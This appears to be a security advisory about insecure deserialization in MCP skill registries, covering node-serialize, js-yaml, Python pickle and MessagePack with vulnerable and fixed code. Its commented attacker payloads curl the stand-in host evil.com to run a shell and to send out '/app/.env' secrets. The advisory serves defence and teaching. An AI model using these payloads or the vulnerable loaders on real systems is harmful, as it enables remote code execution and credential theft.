Claude MCP skill insecure deserialization — skill configuration loading and plugin manifest parsing — SA-SKL-DESER3
Insecure deserialization is a silent RCE waiting in skill registries that load configuration from user-supplied files using eval-based deserializers: node-serialize, js-yaml v3 YAML.load(), Python pickle, and unvalidated MessagePack streams. SA-SKL-DESER3 covers four patterns where attacker-controlled serialized data is turned back into live objects — and in some cases, into running code — by the registry's configuration loader or plugin manifest parser.
node-serialize or serialize-javascript used to load skill config — attacker config contains _$$ND_FUNC$$ IIFE payload; arbitrary code execution on deserializeYAML.load() (js-yaml v3) on skill manifest — attacker YAML uses !!js/function tag; function body executed during parse; RCEpickle used to cache audit results in temp files — attacker with temp-dir write access replaces pickle; next load executes payloadDESER3-001 — node-serialize IIFE in skill configuration loading
The node-serialize npm package serializes JavaScript objects including function values by wrapping them in a string prefixed with _$$ND_FUNC$$. When the registry calls serialize.unserialize(configString), the deserializer calls eval() on any value that starts with that prefix. An attacker who controls the content of a skill config file can craft a payload where the function value is an Immediately Invoked Function Expression (IIFE) — the function executes at deserialize time, before the registry even checks whether the config key is valid.
// VULNERABLE — DESER3-001
// Registry loads skill runtime config from the uploaded config.json file
// using node-serialize, which supports function values.
const serialize = require('node-serialize');
const fs = require('fs');
function loadSkillConfig(skillId) {
const raw = fs.readFileSync(`./skills/${skillId}/config.json`, 'utf8');
// VULNERABLE: node-serialize.unserialize() calls eval() on _$$ND_FUNC$$-prefixed values
return serialize.unserialize(raw);
}
// Attacker skill config file (config.json):
// {
// "timeout": 5000,
// "maxMemory": "_$$ND_FUNC$$function(){require('child_process').execSync('curl evil.com/$(id)');}()"
// }
// When unserialize() runs, the IIFE executes immediately — before timeout/maxMemory are read.
// FIXED — DESER3-001
// Use JSON.parse() exclusively for skill configuration files.
// JSON does not support function values — any attempt to include code will fail.
// Validate the parsed object against a strict schema before use.
const { z } = require('zod');
const SkillConfigSchema = z.object({
timeout: z.number().int().min(100).max(30000),
maxMemory: z.number().int().min(16).max(512),
// ... other expected config keys
});
function loadSkillConfig(skillId) {
const raw = fs.readFileSync(`./skills/${skillId}/config.json`, 'utf8');
// FIX: JSON.parse() never executes code — it only produces data
const parsed = JSON.parse(raw);
// FIX: schema validation rejects unexpected keys and types
return SkillConfigSchema.parse(parsed);
}
serialize-javascript is equally vulnerable: The serialize-javascript package (a popular alternative to JSON.stringify for transferring data to the browser) uses a similar eval-on-deserialize pattern. If the registry uses it to persist skill state across worker restarts and then reads the state file back using eval() or the package's own deserializer, the attack vector is identical. The fix is the same: use JSON.parse() for all persistent config formats.
DESER3-002 — YAML.load() with !!js/function in plugin manifest
js-yaml v3 (and v4 before DEFAULT_SAFE_SCHEMA became the default) supported a set of YAML tags for JavaScript-specific types: !!js/regexp, !!js/undefined, and critically !!js/function. When a skill manifest is parsed with YAML.load() using the default schema (which includes these JavaScript extensions), an attacker who controls the manifest YAML can embed a function literal. The function body is extracted and passed to the Function() constructor during parse — which executes the code in the global scope.
// VULNERABLE — DESER3-002
// Skill plugin manifest is parsed with js-yaml v3 default schema.
// Default schema includes !!js/function which calls new Function(body).
const yaml = require('js-yaml'); // v3.x
function parsePluginManifest(manifestPath) {
const raw = fs.readFileSync(manifestPath, 'utf8');
// VULNERABLE: YAML.load() with DEFAULT_FULL_SCHEMA (default in v3) allows !!js/function
return yaml.load(raw);
}
// Attacker manifest.yaml:
// name: my-mcp-skill
// version: 1.0.0
// setup: !!js/function >
// function() {
// require('child_process').execSync('curl evil.com/shell | bash');
// }
// When yaml.load() encounters !!js/function, it calls new Function(body)
// and stores the resulting function object. The function body executes on invocation,
// but just constructing a Function() object can trigger side effects in some payloads.
// FIXED — DESER3-002
// Option A: use YAML.load with DEFAULT_SAFE_SCHEMA (js-yaml v3)
// — rejects !!js/function, !!js/regexp, !!js/undefined
// Option B: upgrade to js-yaml v4 which removes unsafe types by default
// js-yaml v3 fix:
const yaml = require('js-yaml');
function parsePluginManifest(manifestPath) {
const raw = fs.readFileSync(manifestPath, 'utf8');
// FIX: schema: CORE_SCHEMA is the safest; DEFAULT_SAFE_SCHEMA also works
return yaml.load(raw, { schema: yaml.DEFAULT_SAFE_SCHEMA });
}
// js-yaml v4 fix (preferred — v4 removes unsafe types from default schema):
// const yaml = require('js-yaml'); // v4+
// yaml.load(raw); // safe by default — !!js/function tags cause parse error
DESER3-003 — Python pickle used to cache audit results
Python's pickle module serializes arbitrary Python objects, including instances with custom __reduce__ methods that execute code on deserialization. When an audit worker caches its results to a temp file using pickle.dump(result, f) and then loads the cache on the next request with pickle.load(f), an attacker who can write to the temp directory can replace the pickle file with a malicious one. The next time the cache is read, the attacker's payload executes in the context of the audit worker process — which typically has access to the full filesystem and the Anthropic API credentials used for LLM-assisted analysis.
# VULNERABLE — DESER3-003
# Audit worker caches expensive LLM results in /tmp using pickle.
# /tmp is writable by all users on many container configurations.
import pickle, os
CACHE_PATH = '/tmp/audit_cache_{skill_id}.pkl'
def get_audit_cache(skill_id):
path = CACHE_PATH.format(skill_id=skill_id)
if os.path.exists(path):
with open(path, 'rb') as f:
return pickle.load(f) # VULNERABLE: attacker replaces file, payload executes here
return None
def set_audit_cache(skill_id, result):
path = CACHE_PATH.format(skill_id=skill_id)
with open(path, 'wb') as f:
pickle.dump(result, f)
# Attacker exploit:
# import pickle, os
# class Payload:
# def __reduce__(self):
# return (os.system, ('curl evil.com/exfil?k=$(cat /app/.env)',))
# with open('/tmp/audit_cache_target-skill.pkl', 'wb') as f:
# pickle.dump(Payload(), f)
# FIXED — DESER3-003
# Use JSON for all persistent cache formats.
# JSON never executes code — it only represents data.
# Use a private cache directory with restricted permissions, not /tmp.
import json, os
CACHE_DIR = '/app/cache' # not /tmp; owned by app user, mode 700
os.makedirs(CACHE_DIR, mode=0o700, exist_ok=True)
def cache_path(skill_id):
# FIX: sanitise skill_id to prevent path traversal in cache filename
safe_id = ''.join(c for c in skill_id if c.isalnum() or c in '-_')
return os.path.join(CACHE_DIR, f'audit_{safe_id}.json')
def get_audit_cache(skill_id):
path = cache_path(skill_id)
if os.path.exists(path):
with open(path, 'r') as f:
return json.load(f) # FIX: JSON.load never executes code
return None
def set_audit_cache(skill_id, result):
with open(cache_path(skill_id), 'w') as f:
json.dump(result, f)
DESER3-004 — MessagePack deserialization without type validation
MessagePack is a binary serialization format used in some high-throughput MCP registry APIs for internal service communication. Unlike JSON, MessagePack supports additional extension types (Ext types) that map to language-specific objects when decoded by language-specific decoders. When the registry decodes an incoming MessagePack payload without validating the resulting object types, an attacker can craft a payload with unexpected Ext type tags that cause type confusion in the downstream code — for example, delivering a Buffer where a string is expected, triggering a Buffer.toString() call on attacker-controlled bytes, or causing a JSON serialisation of a circular-reference-containing object to throw and leak internal paths.
// VULNERABLE — DESER3-004
// Internal API endpoint accepts MessagePack-encoded skill metadata.
// No type validation after decode — decoded value used directly.
const msgpack = require('@msgpack/msgpack');
app.post('/internal/skill-meta', async (req, res) => {
const data = msgpack.decode(req.body); // VULNERABLE: no type check on decoded value
// If attacker sends Ext type that decodes to unexpected structure:
// data.name might be a Buffer instead of a string
// data.name.length might behave differently than expected
// downstream indexOf(), split(), etc. may throw and leak stack traces
const skill = await db.skills.upsert({
id: data.id,
name: data.name, // may be Buffer, not string
version: data.version, // may be object, not string
});
res.json({ ok: true });
});
// FIXED — DESER3-004
// Decode MessagePack, then immediately validate the structure with a strict schema.
// Schema validation rejects unexpected types before any downstream code runs.
const msgpack = require('@msgpack/msgpack');
const { z } = require('zod');
const SkillMetaSchema = z.object({
id: z.string().regex(/^[a-z0-9][a-z0-9-]{2,63}$/),
name: z.string().min(1).max(200),
version: z.string().regex(/^\d+\.\d+\.\d+$/),
});
app.post('/internal/skill-meta', async (req, res) => {
let raw;
try {
raw = msgpack.decode(req.body);
} catch {
return res.status(400).json({ error: 'invalid msgpack' });
}
// FIX: validate types and structure before any downstream use
const parsed = SkillMetaSchema.safeParse(raw);
if (!parsed.success) {
return res.status(400).json({ error: 'invalid schema' });
}
await db.skills.upsert(parsed.data);
res.json({ ok: true });
});
Summary — SA-SKL-DESER3 at a glance
| Pattern | Root cause | Fix | Severity |
|---|---|---|---|
| DESER3-001 | node-serialize eval-on-deserialize for skill config loading | JSON.parse() only; Zod schema validation after parse | CRITICAL |
| DESER3-002 | js-yaml v3 YAML.load() with !!js/function in plugin manifest | YAML.load with DEFAULT_SAFE_SCHEMA or upgrade to js-yaml v4 | CRITICAL |
| DESER3-003 | Python pickle cache in world-writable /tmp directory | Use JSON for all caching; private cache directory, mode 700 | HIGH |
| DESER3-004 | MessagePack decoded without type validation on internal API | Zod/schema validation immediately after decode before any downstream use | MEDIUM |
SkillAudit's static analysis scanner detects node-serialize and serialize-javascript imports, YAML.load() calls without an explicit safe schema option, pickle.load() in Python workers, and unvalidated msgpack.decode() results flowing into database insert or response serialization paths. See also SA-SKL-INJECTION10 (dynamic require and vm module injection) for related code-execution patterns.